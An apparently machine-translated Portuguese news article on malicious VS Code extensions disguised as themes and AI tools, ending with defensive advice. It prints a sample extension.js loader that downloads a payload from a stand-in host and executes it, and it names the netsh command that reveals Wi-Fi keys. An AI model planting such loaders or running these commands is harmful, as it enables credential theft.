Link copiado!

Temas Trojan e IA de Spyware: O Ataque Massivo ao VS Code

Pesquisadores descobrem uma campanha massiva de extensões maliciosas do VS Code, disfarçadas de temas e ferramentas de IA, roubando de tudo, desde chaves SSH a senhas de Wi-Fi.

🌐
Tradução automática

Este artigo foi traduzido automaticamente do original em inglês. Ler o original em inglês

Uma interface de editor de código corrompida por fluxos de dados maliciosos vermelhos e um cavalo de Troia digital.

Você confia em suas ferramentas. É a primeira regra do código não dito do desenvolvedor. Quando você npm install uma biblioteca ou clica “Instalar” em um tema Dark Mode elegante no VS Code, você não está esperando um cavalo de Troia. Você está esperando melhor destaque de sintaxe. Você está esperando produtividade.

Mas uma nova onda massiva de ataques à cadeia de suprimentos quebrou essa confiança, transformando seu próprio ambiente de desenvolvimento em um ponto de escuta para criminosos cibernéticos.

Pesquisadores da Check Point, Phylum e outras empresas de segurança descobriram uma campanha sofisticada e coordenada visando o próprio coração da pilha de desenvolvimento moderna: VS Code, npm, Go e Rust. Isso não é apenas sobre código bugado, mineradores de criptografia ou adware irritante. Estas são “Roubadores de Informações” de precisão disfarçados de temas premium (como “Bitcoin Black”) e assistentes de IA de ponta (como “Codo AI” e “Chengdu AI”).

E eles não estão apenas roubando seu código - eles estão pegando suas senhas de Wi-Fi, chaves SSH, cookies do navegador, e até mesmo capturando screenshots distintos de sua área de trabalho ativa.

Advertisement

Este mergulho profundo quebra exatamente como essas extensões funcionam, a física do ataque “Impostor”, a economia impulsionando esse aumento, e por que o badge “Verificado” pode não ser suficiente para salvá-lo.

O Gancho: Por Que Isso Importa Agora

Durante anos, o termo “Ataque à Cadeia de Suprimentos” evocava imagens da violação do SolarWinds - um compromisso de alto nível patrocinado pelo estado de um servidor de compilação que vazou para milhares de agências governamentais. Parecia distante, quase abstrato, para o desenvolvedor frontend ou cientista de dados médio.

Esta nova onda é pessoal. Ela visa o desenvolvedor individual em sua máquina local, frequentemente ignorando completamente firewalls corporativos ao cavalgar nas costas de protocolos confiáveis.

A extensão “Bitcoin Black”, que prometia um tema escuro elegante para comerciantes de criptografia, foi baixada milhares de vezes. Da mesma forma, “Codo AI” aproveitou a onda de hype do ChatGPT e DeepSeek, prometendo um assistente de IA integrado. Em vez de ajudar você a codificar, estava silenciosamente implantando um infostealer baseado em DLL.

A parte aterradora? Funcionou. Porque essas ferramentas residem dentro do seu IDE, elas herdam as permissões de alto nível do seu ambiente de desenvolvimento. Análise do código ofuscado revelou um script postinstall que colhia variáveis de ambiente (onde você mantém suas chaves AWS) e executa comandos shell.

“Os atacantes não estão mais apenas quebrando a porta de entrada; eles estão se disfarçando como o móvel que você traz para dentro.”

Mergulho Técnico Profundo: A Anatomia do Ataque

Como um “Tema” - que deveria ser apenas um arquivo JSON de códigos hex - rouba sua senha de Wi-Fi? A mecânica é surpreendentemente sofisticada e revela uma compreensão profunda da arquitetura de extensão do VS Code.

1. O Mecanismo “Impostor”

  • Typosquatting: prettier-vscode-plus parece uma versão legítima “Plus” do popular formatador Prettier. Não era. Era um veículo para o malware “OctoRAT”.
  • Trend Jacking: “Bitcoin Black” visava a sobreposição entre desenvolvedores e entusiastas de criptografia. “Codo AI” visava o boom da IA.

Eles polem os READMEs, adicionam badges “Verificados” falsos (como PNGs na descrição) e usam redes de bots para inflar artificialmente contagens de downloads para parecer legítimos. No marketplace do VS Code, a prova social é o mecanismo de segurança primário para a maioria dos usuários, e é facilmente falsificada.

Advertisement

2. A Entrega de Payload (O Drop de DLL)

Uma vez instalado, um tema tecnicamente consiste principalmente em arquivos JSON definindo cores. No entanto, extensões do VS Code também podem agrupar código executável e eventos de ativação.

No caso do Bitcoin Black, a extensão continha um arquivo extension.js oculto que não apenas aplicava cores.

  1. Gatilho: Após ativação (ou inicialização do VS Code), o JavaScript executa.
  2. Buscador: Ele alcança um servidor de Comando e Controle (C2), geralmente hospedado em um domínio legítimo comprometido ou um VPS barato, mascarando-se como uma verificação de telemetria benigna. A investigação descobriu conexões com um servidor de comando e controle conhecido anteriormente vinculado ao Grupo Lazarus.
  3. Drop: Ele baixa um payload secundário - frequentemente um arquivo PE (Portable Executable) ou DLL compilado. Na campanha “Anivia”, este era o OctoRAT.

Aqui está um exemplo conceitual de como o código de carregador malicioso pode ser simples dentro de um extension.js válido de outra forma:

// Parece telemetria
const telemetry = require('./telemetry-utils');

function activate(context) {
    // código de ativação de tema legítimo...
    
    // O payload malicioso
    // ofuscado para parecer análise
    const u = "https://cdn-stats-track.com/update/v2/payload";
    telemetry.checkUpdate(u).then(payload => {
        // executar o buffer baixado
        require('child_process').exec(payload); 
    });
}

O módulo telemetry-utils conteria a lógica para buscar o binário e executá-lo, frequentemente salvando-o em um diretório temporário como %TEMP%\vscode-updater.exe para evitar suspeita.

3. Exfiltração: O “Roubo e Corrida”

O malware não fica no VS Code. Ele usa os recursos do sistema do host para colher dados.

  • Credenciais de Wi-Fi: Executando netsh wlan show profile name="[SSID]" key=clear (no Windows), ele captura senhas de Wi-Fi em texto plano. Isso permite aos atacantes comprometer fisicamente sua rede se forem locais, ou mapear credenciais de rede corporativa.
  • Sequestro de Sessão do Navegador: Ele verifica os diretórios AppData/Local/Google/Chrome/User Data para copiar bancos de dados SQLite contendo cookies e senhas salvas. Isso permite aos atacantes contornar 2FA reutilizando seus cookies de sessão.
  • Screenshots: Usando chamadas da API do Windows, BitBlt ou similares, ele captura a tela. Como desenvolvedores frequentemente têm segredos visíveis em outras janelas (Postman, Notion, 1Password), isso é catastrófico.
  • Sequestro de Clipboard: Ele monitora a área de transferência para strings que parecem endereços de carteiras de criptografia ou chaves de API e as troca ou registra.

4. Blocos de Código: A Matemática da Infecção

A probabilidade de infecção P(x)P(x) em uma cadeia de suprimentos aumenta exponencialmente com o número de dependências NdN_d e o fator de confiança TT (onde 0 é confiança cega).

Advertisement

P(x)=1(1R)NdP(x) = 1 - (1 - R)^ {N_d}

Onde RR é o risco por pacote. À medida que NdN_d (o número de dependências) cresce, P(x)P(x) se aproxima de 1.

Para um desenvolvedor sênior com 50 extensões e 1000 pacotes npm em seu node_modules, a superfície de ataque é massiva.

Contexto Histórico: Um Padrão de Negligência

Isso não é a primeira vez. A história dos gerenciadores de pacotes é uma história de confiança quebrada.

2018: O Incidente do event-stream

Um pacote npm amplamente usado, event-stream, foi entregue por seu autor original (que estava queimado) a um novo mantenedor voluntário chamado “Right9delta”. Este novo mantenedor foi útil no início. Então, eles injetaram uma dependência chamada flatmap-stream que continha código criptografado. Este código visava especificamente os processos de compilação do Copay (um aplicativo de carteira Bitcoin) para roubar chaves privadas. Este foi o ataque de “paciência” - espere até ser confiável, então ataque.

2020: SolarWinds

O “Avô” de ataques à cadeia de suprimentos. Atacantes comprometeiam o próprio sistema de compilação. Embora isto fosse patrocinado pelo estado e de alto nível, provou que se você pode envenenar o poço (a fonte de código), você pode envenenar a aldeia (todos que o usam).

2024: A Backdoor do XZ Utils

Apenas este ano, a backdoor do XZ Utils demonstrou como um mantenedor passou anos construindo confiança antes de inserir uma backdoor sofisticada em uma biblioteca central de compressão do Linux. Os ataques do VS Code são a versão “fast food” disso: rápida, suja e amplamente distribuída.

O Deslocamento “Lazarus”

Atores patrocinados pelo estado (como o Grupo Lazarus) mudaram de roubar bancos para roubar desenvolvedores. Por quê? Porque desenvolvedores têm as chaves dos bancos. Eles estão visando o “middleware” da economia digital da internet.

O Marketplace do VS Code sempre foi um “Velho Oeste”. Diferentemente da Apple App Store, há revisão humana mínima. Scanners automatizados verificam assinaturas de vírus conhecidas, mas um script JS ofuscado customizado frequentemente passa direto por verificações de lógica.

A Realidade Econômica

Por que hackers visam devs? ROI (Retorno sobre Investimento).

Uma campanha de phishing direcionada contra um funcionário bancário custa tempo, dinheiro e engenharia social sofisticada. Carregar uma extensão “AI Helper” falsa custa $0.

Se 5.000 desenvolvedores a instalam:

  • 10% podem trabalhar em empresas da Fortune 500.
  • 1% pode ter Chaves AWS Root em seu arquivo .env.
  • São 50 “Chaves Douradas” pelo preço de um README falso.

A vantagem é massiva. O “Custo de Bens Vendidos” para o atacante é praticamente zero, enquanto a receita potencial de vender acesso (Initial Access Brokers) ou implantar ransomware está na casa dos milhões. Uma única chave AWS root corporativa válida pode vender de $5.000 a $50.000 em mercados da dark web dependendo dos limites de quota.

Análise Prospectiva: O “Zero Trust” IDE

A indústria está chegando a um ponto de ruptura. Dados de mercado sugerem três deslocamentos principais em 2026:

  1. O Fim do Marketplace “Aberto”: Microsoft e GitHub provavelmente serão forçadas a implementar processos de revisão estilo “App Store”.
  2. Extensões Sandboxed: Atualmente, extensões executam com suas permissões de usuário. Versões futuras do VS Code podem forçar extensões a executar em uma sandbox WASM sem acesso ao sistema de arquivos por padrão. Você terá que explicitamente conceder a uma extensão permissão para ler sua pasta /src, assim como você concede a um aplicativo móvel acesso à sua câmera.
  3. “Allow-Lists” Corporativos: As empresas vão parar de permitir que desenvolvedores instalem o que quiserem. Marketplaces internos provavelmente vão subir onde apenas extensões verificadas estão disponíveis.

O Que Você Deve Fazer Hoje

Você não pode esperar pela Microsoft.

  • Faça Auditoria Suas Extensões: Vá para a aba de extensões. Se você não a usa diariamente, desinstale-a.
  • Verifique o Publicador: Clique no nome do publicador. Eles têm um website? Um repo GitHub? Se for um nome genérico ou uma conta nova, não instale.
  • Use Scanners: Ferramentas como Socket e Snyk estão começando a fazer scan em extensões de IDE, não apenas pacotes npm. Use-as.
  • Filtragem de Rede: Use ferramentas como Little Snitch (em Mac) para monitorar para onde seu VS Code está se conectando. Se seu “Tema” está falando com um servidor em uma região não-padrão, bloqueie.

O Veredicto: A era do “Tema Trojan” chegou. Seu IDE não é mais um santuário; é um campo de batalha. Codifique de acordo.

Fontes (3)

Advertisement

🦋 Discussão no Bluesky

Discutir no Bluesky

Procurando publicações...